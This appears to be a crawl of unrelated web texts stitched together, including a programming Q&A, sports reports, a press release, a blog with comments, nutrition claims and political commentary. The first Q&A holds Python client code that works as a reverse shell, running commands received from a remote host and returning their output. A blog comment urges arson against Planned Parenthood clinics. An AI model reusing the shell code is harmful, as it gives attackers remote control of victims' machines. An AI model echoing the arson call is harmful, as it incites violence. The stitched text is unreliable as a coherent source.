Q: ConnectionRefusedError: [WinError 10061] I am using the code below to connect to other system after making a socket.
When I run locally on my system it works fine, but on other system its giving an error for  ConnectionRefusedError: [WinError 10061], Python.
I tried to add s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) instead of s = socket.socket():
but it's giving me the same error.
This what I am using for client
import socket
import os
import subprocess

# s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket()
host = '***.***.***.***'
port = 9999

s.connect((host, port))

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    if len(data) > 0:
        cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,"utf-8")
        currentWD = os.getcwd() + "> "
        s.send(str.encode(output_str + currentWD))

        print(output_str)

This what I am using for server:

Q: How do I list ALL categories, even unchecked ones, from the Post field in Wordpress? So I have a predicament. I am trying to create a menu on a page in which it lists ALL the categories, not just the one the specific post is assigned to. For example, I have 4 categories (category1, category2, category3, category4) and I would like to display all of them on a list on the side menu. However, for the article I'm on, this article only has category1 assigned to it.
I looked at all Wordpress snippets and all of them only returns the category that is actually checked off in the backend of the post.
Here is my code:
    <?php
     $cats = get_terms('category', array(
    'fields' => 'ids',
    'exclude' => '1'
     ));
     ?>

    <?php foreach($cats as $cat): ?>

<a href="<?php echo get_category_link($cat); ?>"><?php echo get_cat_name($cat); ?>

   <?php endforeach; ?>

This code excludes the "unorganized" category, hence the exclude 1, but once again it only gives me the categories that are listed. can someone help? I also tried get_the_category() and get_the_category_list() as well and both of them didn't give me the unchecked ones. Thanks!

A: You have to specify in the arguments passed to the get_terms() function not to hide empty categories.
More about get_terms().
Try this:
$cats = get_terms('category', array(
    'fields' => 'ids',
    'exclude' => '1',
    'hide_empty' => false,
));

A: Have you tried using get_categories()?
You can supply arguments to it, like exclude. I am assuming it would look like this:
$args = array(
    'exclude' => '1'
);

$cats = get_categories($args);

So what do we know about the Alliance of American Football five weeks into its 10-week regular season?
First off, there's apparently an appetite for spring professional football. Although the quality of play, particularly on offense, doesn't approach the NFL — nobody said it would, of course — this has not been an amateurish effort. Indeed, as Alliance co-founder Bill Polian stressed from the outset, "These guys are men playing professional football."
Every player on the eight teams is getting an opportunity to display his skills, and lack thereof, to the regular turnout of NFL scouts at AAF games. There's a longstanding truism in football that whatever you do on a field is on film, and that's the window into your abilities. "Film doesn't lie" is how most scouts put it.
Those talent evaluators should be most impressed by the performances of the front sevens pretty much throughout the league. If there are Alliance standouts who will quickly catch on with NFL clubs in May and thereafter, look for most of them to come from defenses.
And they are allowed to head back to the big league.
"There is an official policy, once the regular season begins and ostensibly once training camp begins, we expect the players to stay here for the completion of the Alliance season," Polian says. "If their team doesn't make the playoffs, we'd be happy to let him go, other than that they have got to make the commitment throughout the season.
"One of the reasons we can do that is our season ends just before OTAs begin (in the NFL), so a player can go back to the NFL and not miss significant OTA time and he is in shape because he has been playing."
That defensive performances have so outshined the offenses shouldn't be a stunner. Certainly, Polian isn't surprised.
"It is always easier to put together a defense because it's reactionary," he explains. "An offense requires choreography and difficult and complicated movements and requires synchronization."
The area the Alliance's offensive woes have been most pronounced has been the red zone, which often has resembled a dead zone for teams trespassing there. There have been 65 field goals compared to 75 offensive TDs. Five teams aren't averaging 20 points an outing.
Most obvious is the level of performance at quarterback and receiver. To get a full appreciation of how good NFL passers are — even the mediocre ones — an examination of Alliance QBs is educational. For the most part, there are enough off-target throws, even if by a foot or less, to cause interceptions. Plus, the wideouts in general don't have the hands or agility to make the adjustments we see from, say, Julio Jones or Larry Fitzgerald.
Dropped passes have plagued virtually every AAF team, something that will prove worrisome for those receiving invitations to NFL workouts, minicamps and training camps. There will be a significant number of players getting those invites.
Off the field, the Alliance has shown staying power — isn't that what it's all about? — with good TV ratings, digital participation and solid enough attendance.
Weather has been a factor in some cities, including blizzard-like conditions for one game in Salt Lake City. Spring isn't really sprung in several AAF locales, but the league reports that San Antonio is averaging about 28,000 fans and San Diego has had two crowds of more than 20,000. Generally, attendance has been 10,000 or above, though Birmingham (6,539), Salt Lake (9,302) and Arizona (9,531) have had fewer fans for a game.
League co-founders Polian and Charlie Ebersol and chairman Tom Dundon — the major backer who is pouring $250 million into the Alliance — speak glowingly about how many eyeballs are watching. One of the broadcast partners, CBS, even is switching two games from its cable outlet to its main network, including a regular-season contest on April 7, NCAA Final Four weekend.
CBS televised the league opener from San Antonio on Feb. 9 and got a 2.1 rating that beat the NBA on ABC.
Turner Sports originally signed up for one in-season game and a playoff. It has added two Saturday afternoon matches.
NFL Network, the other main AAF broadcaster, has averaged 502,000 viewers, the Alliance says, and saw a rise in audience on a night its game went up against the Academy Awards.
"We experienced a 15 percent rise in viewership on NFL Network from Week2 to Week 3, even with our Sunday prime-time game taking place during the Oscars," Ebersol says. "Our business plan from the beginning was to earn our viewers. We didn't spend millions on marketing and promotion; we bet the farm that we would earn the attention of fans by putting top-flight football on the field each week and we are thrilled that it paid off. Millions of people have tuned in each week on TV and our platforms and engaged with our product 100 percent organically."
The league also has added sponsors as the schedule progressed, which Ebersol and Dundon point to as evidence the Alliance is addressing the thirst for football in the advertising community once the NFL's season concludes. Those sponsors include MGM Resorts, New Era, STARTER and TurboTax, with sponsors from the automotive, food and beverage categories in the works.
Most of all, the Alliance isn't losing sight of what it was established to be: a developmental league.
"When we started this journey, one thing we wanted it to be is complementary to the NFL and what they are doing," says San Antonio's general manager, former Cowboys star fullback Daryl Johnston. "Talking to coaches, one of the things they are frustrated by in this current CBA is the reduction in practice and meeting time. This is what the Alliance would be perfect for, and hopefully at some point in the future for us to bring in some of those (NFL) guys at the back end of the roster ... and address some of the areas where the coaches feel there is a need for that development."

Now your own blood can save you: autotransfusion device Hemafuse will revolutionize blood access across Africa, now available in Ghana and Kenya
Hemafuse was created for patients suffering from internal bleeding resulting from trauma, ruptured ectopic pregnancies, or for use in planned surgeries
BALTIMORE, United States of America, February 5, 2020/ — Hemafuse, a surgical autotransfusion device, will revolutionize blood access across Africa. Hemafuse is designed to salvage and recycle whole blood from cases of internal bleeding. The device can be used in both emergencies and scheduled procedures to recover blood from where it pools inside of a patient, into a blood bag, where it is immediately available to be re-transfused back to that same patient.
Hemafuse was created for patients suffering from internal bleeding resulting from trauma, ruptured ectopic pregnancies, or for use in planned surgeries. Hemafuse can be used in cases where there is no donor blood available, and even as the preferred option over donor blood. When compared to autotransfusion, the use of donor blood comes with a higher risk of disease transfer, increased length of stay, readmissions, and other complications.
Hemafuse is now used in 10 different hospitals across Kenya. Last month, Hemafuse received an endorsement from The First Lady, Margaret Kenyatta at the launch of the Nairobi Beyond Zero Medical Safari held at Uhuru Park Nairobi on January, 25 2020. The First Lady's Beyond Zero Kenya initiative donated Hemafuse to Mama Lucy Kibaki Hospital to aid in the reduction of maternal deaths.
During the event, Dr. Elizabeth Wala, Programme Director for Health Systems Strengthening at Amref Health Africa in Kenya, spoke about the importance of using a high-quality device to save lives. She announced that the Kenya Pharmacy and Poison Board have approved Hemafuse. "Blood is a matter of life and death, the impact of this device is saving lives that could have been lost due to lack of blood. Achieving [Universal Health Coverage] requires innovations for essential medicines and health technologies that save lives. Hemafuse should be part of the essential medical devices in each hospital," she added.
Use of the device is now being rolled out in Ghana, where it has already been used to save lives in cases of ruptured ectopic pregnancy. Dr. Gerald Osei-Owusu, a Medical Officer at Tema General, has used Hemafuse in several different surgeries. After experiencing Hemafuse first hand, he says the device cuts down on cost, the time it takes to save the patient, and reduces their recovery time. "It's a good device, I think it's something we should use nationally and continentally… It makes life easier, work easier, and costs less. I think it's a good device."
Using Hemafuse to recycle a patient's own blood saves the donor blood that is available for other patients who are not candidates for autotransfusion. Dr. Rafia Abanga, another Medical Officer at Tema General has experienced Hemafuse first hand, "The Hemafuse is a great device, I've used it only twice, it was much needed and helped save a young lady's life. I am grateful to the person who invented this," she added.
Autotransfusion reduces the risk of infection and disease transmission because using a patient's own blood is safer than someone else's. Dorothy Kesewah Denkyi, a theatre nurse at Tema General, explains her experience using Hemafuse and implementing autotransfusion. "Autotransfusion is the best…It's better than giving someone [else's] blood to the patient. So we are encouraging autotransfusion if that is what will help out. Now that Hemafuse is here [in Ghana], we are advocating to get more in the system. Every theatre should have one, if not one, two."
Hemafuse is now available at hospitals in Kenya and Ghana, and will be coming to hospitals across Africa. In Kenya, Hemafuse is sold through Surgipharm and in partnership with Amref. All other locations should reach out to Sisu's global partner, VIA Global Health: www.viaglobalhealth.com/product/hemafuse.

About Hemafuse™:
The Hemafuse™ is a handheld, mechanical medical device for intraoperative autotransfusion of blood collected from an internal hemorrhage, meant to replace or augment donor blood in emergency situations. The Hemafuse™ is a device that can support the donor blood ecosystem by providing an option for clinicians to salvage and recycle a patient's own blood in cases of internal bleeding. This immediate access to blood can shorten the wait time to perform surgery, increase hospital efficiency and provide access to blood where there may be no other option. This device was developed with invaluable feedback from Komfo Anokye Teaching Hospital and Korle Bu Teaching Hospital.

Shock: Organization Founded by Racist Calls for Fewer Black People
International Planned Parenthood Federation just released a shocking new strategic plan (and by shocking I mean not shocking at all) for the Africa Region for 2010 to 2015 that calls for an 82 percent increase in the number of abortions, according to Life News.
In short, an organization founded by racist Maragret Sanger is calling for fewer black people. Shock! Who'd a thunk it? Sanger's racist directive to her peeps was, "We don't want the word to go out that we want to exterminate the Negro population." Well with this announcement, there goes that, huh?
kkk, planned parenthood, racism
Well, she's getting her wish. Most of those who are aborted here in the US are black, and we have a black president who fully supports it. Go figure! Sanger would have appalled at the idea of a black president, but no doubt thrilled that he's just as committed to her agenda as she was.
Looking at the history of Margret, She is as racist as the pope is a nazi sympathiser. Painting people in the 20's and 30's with todays view of race is not an accurate portrail. She was for eugenics, a cutting edge science of the day. She felt, like many, that the lighter skin was better but never advocated the terrible things in this article. Fair and balanced… not so much in this case.
@Anonymous 12:30 The human being, composed of a human body and an immortal, rational soul with free will does not lend himself to eradicating another human being without incurring serious penalties, hell not excluded. Perhaps we may never know if Sanger and Hitler, by the way, Hitler adopted Sanger's eugenics policy, and now you know where that ended up, avoided going to hell for the good they refused to do for the human race. Sanger called the poor "human weeds" denying their humanity and you got the nerve to criticise the Pope for advocating love for God?
Steve Dalton
what I don't understand is why the Blacks don't torch every PP clinic that's in a black neighborhood. If I was aware that an organization dedicated to wiping out my kind as 'human weeds' was operating close by, the life expectancy of that thing would be zilch!
Maybe we can turn the "occupy" thugs onto them?

Mary, please give a reference where Hitler took Sangers position. I think you are making it up.
Generation "why?"
Anonymous @ 12:30 "Painting people in the 20's and 30's with todays view of race is not an accurate portrail." are you serious? that is insane. The same thing can be said about Hitler "don't judge him with 1920 – 1940's views on Jews!"

Nutrition research suggests that we should eat less animal fat. Thirteen of the top fifteen sources of cholesterol-raising fat in the U.S. diet may come from animal fat intake. Diets rich in whole, plant foods and low in animal-fat consumption appear to provide protection against many serious health conditions.
Diabetes: Rising diabetes rates in Asia may coincide with increased consumption of animal fat and animal protein. One study showed that shifting people from animal fats to plant fats can improve insulin sensitivity. Another found that higher pre-pregnancy intakes of animal fat and cholesterol were associated with elevated gestational diabetes risk.
Cancer: Studies have found possible links between animal fat intake and cancer risk. Dioxin and other toxic pollutants may accumulate in animal fats; these chemicals and other industrial carcinogens may be passed along to humans who consume the animal fats. Poultry appears to be the animal fat most associated with increased pancreatic cancer risk, though other animal fats can increase the risk as well. High animal protein and fat consumption may be a risk factor for both prostate enlargement and prostate cancer. Animal protein and fat intake appear linked with endometrial cancer risk. Other studies conclude that the saturated fat in animal fat may decrease the length of cancer survival.
Heart disease and related conditions: Eliminating saturated animal fat completely can be an important step in trying to reducing heart attack risk. Saturated animal fat intake may cause a spike in inflammation after consumption, which can increase risk of heart disease as well as other chronic diseases. A high-fat meal from animal sources may adversely affect our arteries, while a high-fat meal from plant sources apparently does not. This may be because of the saturated animal fat facilitating the absorption of bacterial endotoxins that may be present in animal foods. Saturated animal fat intake can also cause our blood vessels to become stiff and inflamed within hours. Reducing animal fat intake may help lower LDL cholesterol and lower blood pressure. About 50% of the trans fats eaten by Americans come from animal fat; trans fats are associated with increased heart disease risk.
Researchers try to tease out what's in dairy that interferes with the health benefits of berries and tea.
What are the effects of oatmeal, walnuts, extra virgin olive oil, and avocados on LDL cholesterol size?
Those with certain autoimmune diseases such as Crohn's disease should probably not eat nutritional yeast.

Emma Pallant, Yohan Le Berre win Vichy 70.3
Timothy Carlson Sat Aug 24 2019
Ironman.com photos
Duathlon stars Emma Pallant of Great Britain and Yohan Le Berre of France took top honors at Ironman 70.3 Vichy.
Pallant overcame a 4 minute deficit after the bike to overtake Jocelyn McCauley of the U.S. with a blazing 1:16:18 half marathon. Pallant finished in 4:25:18 with a 1:43 margin of victory over McCauley (1:22:01 run split) and 3:01 over 3rd place finisher Manon Genet of France, who closed with a women's second-fastest 1:19:23 run.
The victory adds to Pallant's 2019 successes including a win at Pays d'Aix 70.3 and 2nd at Staffordshire 70.3. Last year she won Barcelona 70.3 and Staffordshire 70.3, and took 3rd at Ironman Austria. In 2017 she took 3rd at the ITU Duathlon World Championship, and she won the 2016 and 2015 ITU Duathlon World Championships. Pallant was a junior 1500 meter track and field star before taking up duathlon and triathlon in 2012.
Le Berre overcame a 1:29 deficit after the swim with a race-best 2:19:04 bike leg that gave him a 2:36 lead at T2 over 2018 Ironman World Championship 3rd place finisher David McNamee. While McNamee cut 1:22 from Le Berre's lead with a race-best 1:08:18 half marathon, the Scotsman fell 1:15 short of Le Berre's 3:57:12 finish. Franz Loeschke of Germany combined a 2nd-fastest 2:21:10 bike split and a 2nd-best 1:08:57 run split to finish 3rd, 1:52 behind the winner and 37 seconds behind McNamee.
Earlier this year, Le Berre finished 5th at the ITU Duathlon World Championship. In 2018 he finished 2nd at the ITU Duathlon World Championship and in 2017 he finished 4th at the ITU Duathlon World Championship.

Award-Winning Punjab Doctor Fought Female Foeticide for 24 Years, Fostered 415 Girls!
"Around 25 years back, people in rural areas were so open about killing their daughters, they would not mind showing the places where the foetuses were dumped," says the courageous 'Daughter of Punjab'.

Dr Harshindar Kaur was on her way to a remote village on the border of Punjab and Haryana. The villagers in this area were deprived of even basic medical facilities and Dr Kaur, a child specialist, along with her medical specialist husband, Dr Gurpal Singh, volunteered to serve in a camp.
The village was just minutes away when the couple heard strange shrieks coming from an area reserved for the carcasses of animals. Curious about the source of the noise, Kaur and Singh changed directions and headed towards the dumping ground. What they witnessed was nothing short of horrific.
"We saw a few stray dogs tearing apart some living thing, and the shrieks were coming from there. On further investigation, we beheld a shocking site. There, atop a heap of bones, lay a newborn girl who was then dead. The scavenging dogs had torn her apart," Kaur tells The Better India.
Shaken at that gory scene, the couple approached the villagers, questioning as to how this could happen.
It was even more shocking for them when one of the villagers indifferently told them that the baby might have belonged to a poor family who probably did not want a daughter.
Up until then, Kaur and Singh were organising free medical camps in remote areas around Punjab. They had discovered their shared passion for social service after marriage and decided to foster it together. This one incident, 24 years ago, shifted Kaur's focus from providing medical aid to fighting female foeticide and advocating the rights of the girl child.
Although the Pre-Conception and Pre-Natal Diagnostic Techniques Act (PCPNDT) had been passed in 1994, thousands of female foeticide cases were recorded in the two states every year. Between 1996 and 1998, 51,000 sex-selective abortions were recorded in Punjab and 62,000 in Haryana.
"The usage of ultrasound for sex determination and sex-selective abortion is rampant in our country, even though laws like the PCPNDT are in place," says Dr Kaur.
She adds, "But even if a girl child is born, she is neglected from her early years. After birth, daughters are not brought for free vaccination, they are denied nutrition and even medical care in cases of illness.
What is even more appalling is the ignorance due to which the mother is blamed for giving birth to a girl, although medically, it is the man's sperm that determines the baby's sex, not the woman's ovaries."
Kaur decided to tackle female foeticide at its roots and empower villages with the knowledge about the role of X and Y chromosomes in reproduction. This began with speaking to the masses during various social events, village meetings, religious congregations, social events and wedding functions.
"I concentrated on a single village near Patiala where I worked for five years, explaining my thesis to the village folk. They were convinced, and the sex ratio of girls versus boys which stood at 845/1000 rose to 1013/1000 after five years. I used a novel technique using coloured threads to make the scientific principle understandable to the illiterate people," explains Kaur.
Of course, change will take years, but Kaur was determined to fight hard.
It started with a couple among the group understanding the basics of human reproduction, then turned into awareness about the law, and gradually into acceptance.

Elaborating on this process, Kaur told Tribune India, "Around 25 years back, people in rural areas were so open about killing their daughters, they would not mind showing the places where the foetuses were dumped. But today, they are afraid of sharing the same."
Kaur faces challenges like age-old taboos and prejudices, but the lack of support she gets from some of her peers is just as trying. On one occasion, she was also temporarily let go from the hospital she worked at on account of speaking "against" the state on a global platform. Although her duties were resumed soon after, this is an example of the external challenges the doctor faces in her crusade.
Expanding from small social events that hosted rural populations, Kaur also started delivering lectures on mass media communication platforms that helped her reach a wider population not just in Punjab but across the world. Her work was gaining pace, and she was gathering support from like-minded people in helping uplift the rural communities.

Her passionate voice against female foeticide was heard at a Humans Rights Conference in Geneva, at the Federal Parliament of Australia, the Parliament of Canada and the International Conference in Toronto. The "Dhee Punjab Di" (Daughter of Punjab) also won several awards on national and international platforms. One among them was a place among the 100 women achievers presented by the Union Ministry of Women and Child Welfare in 2016.
As her work to reduce the number of sex-selective foeticides in remote areas gained momentum, Kaur started branching out to other factors that would emancipate women.
One among them was dissent against dowry.
"I found that dowry is one of the main reasons for discrimination against girls in the Indian subcontinent as also in China and other countries," she tells TBI.
She adds, "Some Indians living abroad have taken this illegitimate means of exploitation along with them to foreign lands. We started a 'No Dowry' campaign in Canada to address this issue and expanded it to other countries with considerable Indian population. Up until today, about 55,000 girls and boys have taken the pledge to refrain from giving or demanding dowry. Students from Canada, USA, Hong Kong, Malaysia, Europe and India have joined me, and so far, about 800 children have fulfilled the pledge."

In 2008, Kaur, along with her husband and friends, started the Dr Harsh Charitable Trust to provide quality education to the underprivileged girls of Punjab. In the last ten years, 415 girls have been fostered by the Trust, with the financial responsibility of their education. Some of the girls come from farming communities where the breadwinner committed suicide. Two girls from these batches were daughters of Kargil Martyrs who were financially supported by the Trust until the government paid the compensation to the martyrs' wife.
The doctor has also published books about the condition of girls in India to show people how the action of one woman can impact thousands of lives, as also about child psychology. Even at 52, she has not slowed down. If anything, she is utilising global support to drive change in many parts of the country.

Home India Will Priyanka be the Congress face in UP?
Will Priyanka be the Congress face in UP?
Priyanka Gandhi
By Amulya Ganguli
Uttar Pradesh is up for grabs in next year's assembly elections.
With anti-incumbency stalking the Akhilesh Yadav government, Narendra Modi losing his earlier appeal and Mayawati yet to live down her statue-building extravaganza when in power, there is no obvious winner.
Seeing the empty field, the hero of Bihar's 'mahagathbandhan' or grand alliance, Nitish Kumar, decided to try his luck by cobbling together a motley combination of his own Janata Dal-United (JD-U), Ajit Singh's Rashtriya Lok Dal, Babulal Marandi's Jharkhand Vikas Morcha, the virtually unknown Peace Party of Mohammed Ayub Ansari and so on. But the Bihar chief minister's house of cards fell down even before it was readied with Ajit Singh walking out.
Into this untidy scene walked Prashant Kishor, the US-trained election strategist with two successes under his belt – Modi's and Nitish Kumar's victories in 2014 and 2015.
He has been handpicked by Rahul Gandhi to deliver Uttar Pradesh to the Congress and it is a tribute to the putative election mastermind's courage that he has had no hesitation in taking up what must appear to most as a lost cause.
Prashant Kishor's venture may also be a display of the over-confidence bred by his two successes. But those were predictable achievements since, in 2014, Modi was on a roll with a scam-tainted Manmohan Singh government committing hara-kiri.
And, in 2015, Nitish Kumar was ready to continue his interrupted reign (he was chief minister from 2005 to 2014 when he resigned to atone for the JD-U's poor performance in the general election) as the voters knew him as a clean and able administrator. Besides, Modi's image had started fading by then.
Prashant Kishor, therefore, is facing his biggest test. His opening gambit was to suggest that Rahul Gandhi be projected as a chief ministerial candidate.
It was promptly shot down by, among others, Jairam Ramesh, who said that the Congress vice president was preparing to take over as the party chief in the near future.
In any event, the average Congressman cannot conceive of the larger-than-life heir-apparent who is meant to rule the country becoming a mere chief minister.
The fact that Prashant Kishor at all suggested his name shows that for all his supposed expertise in electoral politics, he hasn't quite grasped the essence of the Congress' feudal character which puts the Nehru-Gandhi dynasty above the party.
A belated awareness of this factor may have led to Priyanka Gandhi's name being advanced as a chief minister. It is no secret that she has long been a favourite of many Congressmen who believe that she has greater charisma than her brother – if only because she tends to revive memories of Indira Gandhi among partymen and even ordinary people.
A third name has also been mentioned – that of Sheila Dixit. But this is in the nature of a last resort, for it is unlikely that the 75-year-old former Delhi chief minister will set the Yamuna on fire if she enters the arena.
But there is little doubt that the person who is most likely to create a flutter, at least in election rallies, is Priyanka – even if this does not lead to a jump in the Congress' share of votes.
Of all the states, Uttar Pradesh's association with the Nehru-Gandhis is expected to enthuse a section of voters if a member of the dynasty is named as a chief minister. The Brahmins and the Muslims are mentioned in this context.
But the choice of the people and of the family may not be the same – whatever be Prashant Kishor's game plan.
It goes without saying that the projection of Priyanka will put Rahul in the shade during the campaign and more so if the Congress shows signs of revival.
It is the possibility of outshining her brother which has made Priyanka keep out of national politics, engaging only in tending to the family's balliwicks in Rae Bareli and Amethi.
How eager she will be to play a larger role is not known. So far as Prashant Kishor is concerned, he has made the right choice. His has been a common sense approach, apparently aided by a lack of awareness of not only the Congress's internal politics but also of the dynastic implications which recall the sibling rivalries of medieval times.
The other contenders will no doubt feel somewhat apprehensive if Priyanka appears on the scene. A fresh face is always welcomed by the electorate even if her party continues to be regarded as tainted, cynical and devoid of ideas, especially in the economic field.
However, the fact that the Congress is not too worried about Priyanka's "baggage" of a husband embroiled in allegedly dubious business deals is evident from the posters that have appeared of Robert Vadra in the rally organized by the party on the Agusta affair.
Priyanka also featured in the placards along with her mother and brother to suggest a churning process in the party.

Anna Fermin's Trigger Gospel is Andon Davis, from left, Alton Smith, Anna Fermin, Paul Bivans and Michael Krayniak.
Anna Fermin, a singer with a striking voice and a songwriter with a feel for the indelible image, thought she'd hit a wall with her music a few years ago. As a wife and mother of two pre-adolescent boys, Fermin found the demands of being an independent artist taking a toll.
With her band Trigger Gospel, Fermin had crafted five acclaimed albums over nearly two decades, but she didn't know if she had another one in her.
"I was questioning whether I would even do another Trigger Gospel record," she says. "You buy into the idea that if you do music, you have to do it 24-7 to be a real artist."
But a couple of moments in her life told her otherwise, and led to her writing the song "You Belong Here," which would become the title track of the first album in eight years by Anna Fermin's Trigger Gospel.
While working on a theater production with artist Tony Fitzpatrick at the Steppenwolf Garage in 2012, Fermin came across a promotional poster that simply said, "You Belong Here."
"It was such a simple phrase, but I found it so profound at that moment," she says. Soon after she saw the John Carney movie "Once," about two seemingly mismatched lost souls, real-life artists Glen Hansard and Marketa Irglova, who find mutual solace through music.
"I used that as a framework that took on personal meaning," Fermin says. "When I wrote that (opening) line, 'You told yourself that your words aren't worth a dime,' I'm talking to myself. … I realized that people find self-expression different ways — sports, fine art, video games. For me it's writing songs and performing. I learned to trust that it's a part of who I am, and how I express who I am."
During her hiatus from Trigger Gospel, Fermin worked on the music for Fitzpatrick's plays "Nickel History: The Nation of Heat" (2012) and "The Midnight City" (2014), which dragged her out of her country-rock-pop comfort zone.
"It was thrilling and nerve-racking," she says. In addition to writing music with her longtime friend John Rice, Fermin sang the midtempo soul of Al Wilson's "Show and Tell," the jazz standard "I'd Rather Have a Memory Than a Dream" and Lou Reed's "Walk on the Wild Side," among others. "It was cool to sing in these other genres and make those songs my own."
She reconvened the original lineup of Trigger Gospel (formed in Chicago in 1997) after reconnecting with the band's first guitarist, Andon Davis, while performing solo shows. He joined drummer Paul Bivans and bassist Michael Krayniak plus a relatively recent addition on keyboards, Alton Smith, for studio sessions on some of Fermin's strongest originals.
The singer took some writing workshops that expanded the way she approached songs. Early in her career, "it was more emotion driven, experiential," she says. "Now I can approach it more as a craft, a skill. I can give myself an assignment to write about a particular subject, a story, or something I heard on the radio." But inevitably, Fermin's personal experiences seeped into the grooves.
The reflective acoustic ballad "Forget the Rest" originated as a writing assignment from an Iowa workshop, in which the attendees had to write lyrics based on the titles of Raymond Carver short stories. In Fermin's case, she was assigned Carver's "The Third Thing That Killed My Father Off."
"It got personal in that I used a lot of memories about my childhood," says Fermin, who was born in the Philippines and moved to Kenosha, Wis., with her family when she and her sister were still tots. "Growing up, my father (who is still alive) was a very traditional Filipino man, and he expected us to keep up with our culture. We clashed being raised in a very American town. I had my moments with my dad while figuring out my place in the world and him not understanding the choices that I made. The song alludes to some of that, some of the sadness and regret. Now I have so much appreciation for how my parents raised us, and how like anyone we just do our best. Everyone's 'best' is going to be different, and I understand that more than ever now as a parent of two children."
The hymnlike piano-and-accordion driven "Great Days" provides a bookend. It's a tribute to Fermin's mother who, like her husband, worked in a factory for decades to support the family.
"Both of my parents came from educated backgrounds — my father was an accountant, my mother a teacher (in the Philippines) — but it was difficult to assimilate because of language, and they had a hard time with that," Fermin says. "I think now, could I do that? Could I move to a different country and start over with two little kids? That's a daunting proposition, but they didn't question it. They knew they had to do it for their family."
It's also a song that reflects Fermin's more focused mind set after a few years of uncertainty. "It speaks to where I am now — a place of gratitude for what I've been able to accomplish," she says. "That line about 'You belong here' feels more true than ever."
Greg Kot co-hosts "Sound Opinions" at 8 p.m. Friday and 2 and 11 p.m. Saturday on WBEZ-FM 91.5.

GREG VANNEY – HEAD COACH, TORONTO FC
Was this a case of a good team winning on a night when it didn't play its best?
"Yeah very much so. We had a bit of a makeshift group, a makeshift midfield. We tried something a little bit at first just to get … because we just don't have many midfielders, to get a couple forwards on the field. The game just worked out that way. We just didn't have much possession and because of that it wasn't a good shape for us to defend in. So, we had to make some adjustments. Credit to the guys, because guys are playing roles that they don't usually play. They are doing things defensively that they don't necessarily always do. The guys, they just gutted it out, they grinded it and they did whatever they had to do. Bones made some big saves, and we had a few chances through the course of the game as well. Even though the game wasn't perfect, for me, wins like tonight are sometimes more valuable than the wins you get when you play teams off the field. Just for our group, we know we have a group that can play good soccer and tonight is just a character win. I think the guys feel more proud of this win than sometimes, you know, the other wins when we play well. So, I'm really proud of that, just the effort and just a couple of adjustments which slowed them down on the attack in the second half, which gave us a little bit of a chance to recover from a first half that was quite wide open.
Did you have a hunch that Alex was the right man to play against NYCFC tonight? Was it his turn?
"I don't know if it was his turn. It was something that we had kind of mapped out. We're just getting these guys opportunities. We've got to get everybody games. This season has to be something where everybody is able to move forward. Bones been outstanding in training. He was very good in the game against New England when he played earlier in the year. So, you know he's showing why he's capable of playing. So, we're going to keep getting him games in order to keep both of them ready to go at all times. And we've got to continue to build in our depth, so tonight we saw a few more guys that haven't played in a little while. But they came on and helped contribute towards an important win. So, we've got to do that with the goalkeeper position. We've got to do that with other positions. We have to turn around in four days and we emptied the tank tonight for sure. And we're going to turn around and do it again against another good team. So that's just the nature of where we're at right now and the way the league is setting up."
How important was it, after the way the game ended the other night, for the group to get the late result today, and get the win? And then talk a little bit about Jayden's performance…
"Yeah, it was big. You know there's obviously been games this year where we've had leads and we didn't close out. We've talked about that this week ad nauseum. Just closing out games. But I also think it was just the character of the whole game, just hanging in there. Again, problem solving throughout the course of the game, figuring out better ways to deal with situations. Again, we're a bit of a makeshift midfield, guys in different positions, and everybody just had to put in the work. So, huge win as far as that. As far as Jayden, I thought he came in and he kind of grew into the game. At first, it's a tough game to come into. Because we don't necessarily have control the ball and control of the midfield. So, he came into the game with a lot of defensive work. I think he learned, even as the game was going, he was learning a little bit positionally. He met the competitive level of the game. He made some good solid plays down the stretch. So, I think these experiences are important. This is where these guys are going to learn. Tonight, was a big game and a big win and he was a contributor. I'm proud of him and he's going to keep earning his chances."
What does it say about Alex, being that was just his second start since May 2019?
"Alex has been extremely focused all season. You know, in fairness to him, he trains hard every day. His mentality has been great just. He's just buying his time for his opportunity. And the two opportunities gotten so far this year, in what's obviously been a stop-start season, he's been fantastic. So, I think a lot of that is a tribute to just where his mind has been during the season. He just works every day. He is working to get better and he's been a top team guy. And so, when he's got his opportunity, he's answered the bell and shown his quality. So, I'm proud of this guy because he's hanging in there and he's really doing the work, and tonight he was huge. He really made some huge saves for us."
ALEX BONO – GOALKEEPER, TORONTO FC
Impressive performance tonight, what's been the key for you to stay sharp and focused
"I feel like I'm training as well as I ever have and that's the honest opinion that I feel. I feel really good about my game right now, I feel really confident about where I'm at. Everything seems to be coming together for me. That helps with confidence and obviously everyone knows confidence is a big part of goalkeeping. That's something that I lacked a lot of in the last few years but from the middle of last year on I felt really good about the way I've been playing and really good about my shape, feel like I'm in shape, feel like I'm in form right now I'm grateful to get a game here and happy we were able to get all three points."
Is that the type of gutsy win that you can build off of?
"Yeah. The game by no means went the way we wanted it to. We adjusted and at a certain point we realized that it wasn't going to be a game where we could play through them and play out of the back a lot. I told the guys early, we got caught in the back last game, let's play up early, let's let the big guys eat, let Jozy and Ayo eat and give them a chance to play us into the game because first 10-15 minutes we were just kind of launching it and letting those two fight and scrap and trying to pick up second balls and that kind of set the tone for our physicality and our fight going into the game. That was the plan from the start by no means was it an awesome performance from us but we found a way and that's what this is going to be about for the rest of the season it's extraordinary circumstances and for us to be able to fight and scrap and get three points on the road and not having been in Toronto for a while, that's what it's going to be about."

Social Impact Network
Is DeFi the Missing Key to Unlocking Impact and ESG Investing Potential?
An Equity Investor Perspective
Does the market believe DeFi protocols can boost impact and ESG investing? This is the question we set out to answer, speaking to several equity investors about DeFi's potential to bring substantial liquidity to sustainable social and environmental development if used as a tool for conscious investing.
The rise of impact investing is proof of a global shift in priorities
Impact investing, part of the broader Environmental, Social, and Governance (ESG) investing landscape, is an institutional response to the continued proliferation of investors who use to "do more" with their money. Impact investing prioritizes profit but doesn't view it as an antithesis to positive social change. The Global Impact Investing Network (GIIN), a non-profit membership organization, has tracked the growth of this sector over the past 12 years and in its latest 2020 Annual Impact Investor Survey, estimates the industry size at a steadily climbing $715B. The report states:
